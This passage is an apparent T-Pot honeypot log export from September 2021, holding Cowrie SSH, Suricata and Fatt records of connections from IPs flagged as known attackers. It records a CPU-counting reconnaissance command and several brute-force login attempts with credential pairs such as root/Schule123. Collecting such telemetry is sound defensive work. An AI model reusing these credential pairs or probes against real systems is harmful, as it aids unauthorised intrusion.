31418	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:21.054619+03	2021-09-20 14:45:04.457142+03	{"_id": "mQYFA3wBvYTbRNuEdUMs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:21.054619Z", "@timestamp": "2021-09-20T11:44:21.054Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31419	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:44:16.868153+03	2021-09-20 14:45:04.459142+03	{"_id": "ggYFA3wBvYTbRNuEZUOI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [ubuntu/Passw0rd] failed", "session": "a28787deccb5", "@version": "1", "password": "Passw0rd", "username": "ubuntu", "timestamp": "2021-09-20T11:44:16.868153Z", "@timestamp": "2021-09-20T11:44:16.868Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31420	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:17.766948+03	2021-09-20 14:45:04.460142+03	{"_id": "hwYFA3wBvYTbRNuEaUNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "150.109.115.128", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4261758327484131, "duplicate": true, "timestamp": "2021-09-20T11:44:17.766948Z", "@timestamp": "2021-09-20T11:44:17.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31421	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:18.830257+03	2021-09-20 14:45:04.461143+03	{"_id": "jQYFA3wBvYTbRNuEbUNb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:18.830257Z", "@timestamp": "2021-09-20T11:44:18.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31422	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:19.581421+03	2021-09-20 14:45:04.462141+03	{"_id": "jwYFA3wBvYTbRNuEbUNb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:19.581421Z", "@timestamp": "2021-09-20T11:44:19.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31423	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:20.334358+03	2021-09-20 14:45:04.464143+03	{"_id": "lAYFA3wBvYTbRNuEcUNE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:20.334358Z", "@timestamp": "2021-09-20T11:44:20.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31424	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:21.054084+03	2021-09-20 14:45:04.465142+03	{"_id": "lwYFA3wBvYTbRNuEdUMs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:21.054084Z", "@timestamp": "2021-09-20T11:44:21.054Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
44377	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:35:19.526415+03	2021-09-20 16:45:01.575564+03	{"_id": "2QZrA3wBvYTbRNuEDaY4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:35:19.526415Z", "@timestamp": "2021-09-20T13:35:19.526Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31425	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:44:26.881843+03	2021-09-20 14:45:04.466142+03	{"_id": "tQYFA3wBvYTbRNuEjEOh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.login.failed", "message": "login attempt [no/no] failed", "session": "8e37717dcf7b", "@version": "1", "password": "no", "username": "no", "timestamp": "2021-09-20T11:44:26.881843Z", "@timestamp": "2021-09-20T11:44:26.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31426	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:44:28.176198+03	2021-09-20 14:45:04.469142+03	{"_id": "tgYFA3wBvYTbRNuEkEOK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8e37717dcf7b", "@version": "1", "duration": 2.8387064933776855, "timestamp": "2021-09-20T11:44:28.176198Z", "@timestamp": "2021-09-20T11:44:28.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31427	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:44:40.686282+03	2021-09-20 14:45:04.470142+03	{"_id": "1wYFA3wBvYTbRNuEv0Nw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "8f8261a366b4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:44:40.686282Z", "@timestamp": "2021-09-20T11:44:40.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31428	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:44:40.979989+03	2021-09-20 14:45:04.471143+03	{"_id": "2QYFA3wBvYTbRNuEwUMa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 2218689712150808, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59564, "dest_port": 22, "timestamp": "2021-09-20T11:44:40.979989Z", "@timestamp": "2021-09-20T11:44:40.979Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31429	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:44:40.687603+03	2021-09-20 14:45:04.472142+03	{"_id": "2gYFA3wBvYTbRNuEwkMS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59564, "timestamp": "2021-09-20T11:44:40.687603", "@timestamp": "2021-09-20T11:44:40.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31441	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:44:51.952752+03	2021-09-20 14:45:04.487142+03	{"_id": "7AYFA3wBvYTbRNuE7kNW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b6fafc178331", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:44:51.952752Z", "@timestamp": "2021-09-20T11:44:51.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31430	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:44:40.683331+03	2021-09-20 14:45:04.473142+03	{"_id": "2AYFA3wBvYTbRNuEv0Nw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:59564 (192.168.176.2:22) [session: 8f8261a366b4]", "session": "8f8261a366b4", "@version": "1", "protocol": "ssh", "src_port": 59564, "dest_port": 22, "timestamp": "2021-09-20T11:44:40.683331Z", "@timestamp": "2021-09-20T11:44:40.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31431	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:44:40.980164+03	2021-09-20 14:45:04.475143+03	{"_id": "2wYFA3wBvYTbRNuEwkMS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59564, "dest_port": 22, "timestamp": "2021-09-20T11:44:40.980164", "@timestamp": "2021-09-20T11:44:40.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31432	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:44:40.980739+03	2021-09-20 14:45:04.476143+03	{"_id": "3QYFA3wBvYTbRNuEw0NZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8f8261a366b4", "@version": "1", "timestamp": "2021-09-20T11:44:40.980739Z", "@timestamp": "2021-09-20T11:44:40.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31433	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:44:42.269966+03	2021-09-20 14:45:04.478142+03	{"_id": "3gYFA3wBvYTbRNuEx0NA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [root/Schule123] failed", "session": "8f8261a366b4", "@version": "1", "password": "Schule123", "username": "root", "timestamp": "2021-09-20T11:44:42.269966Z", "@timestamp": "2021-09-20T11:44:42.269Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31434	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:44:43.56507+03	2021-09-20 14:45:04.479142+03	{"_id": "3wYFA3wBvYTbRNuEy0Mq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8f8261a366b4", "@version": "1", "duration": 2.879135847091675, "timestamp": "2021-09-20T11:44:43.565070Z", "@timestamp": "2021-09-20T11:44:43.565Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31435	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:44:51.949774+03	2021-09-20 14:45:04.480142+03	{"_id": "7QYFA3wBvYTbRNuE7kNW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 121.4.68.188:59956 (192.168.176.2:22) [session: b6fafc178331]", "session": "b6fafc178331", "@version": "1", "protocol": "ssh", "src_port": 59956, "dest_port": 22, "timestamp": "2021-09-20T11:44:51.949774Z", "@timestamp": "2021-09-20T11:44:51.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31436	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:44:52.223888+03	2021-09-20 14:45:04.481142+03	{"_id": "7gYFA3wBvYTbRNuE7kNW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", 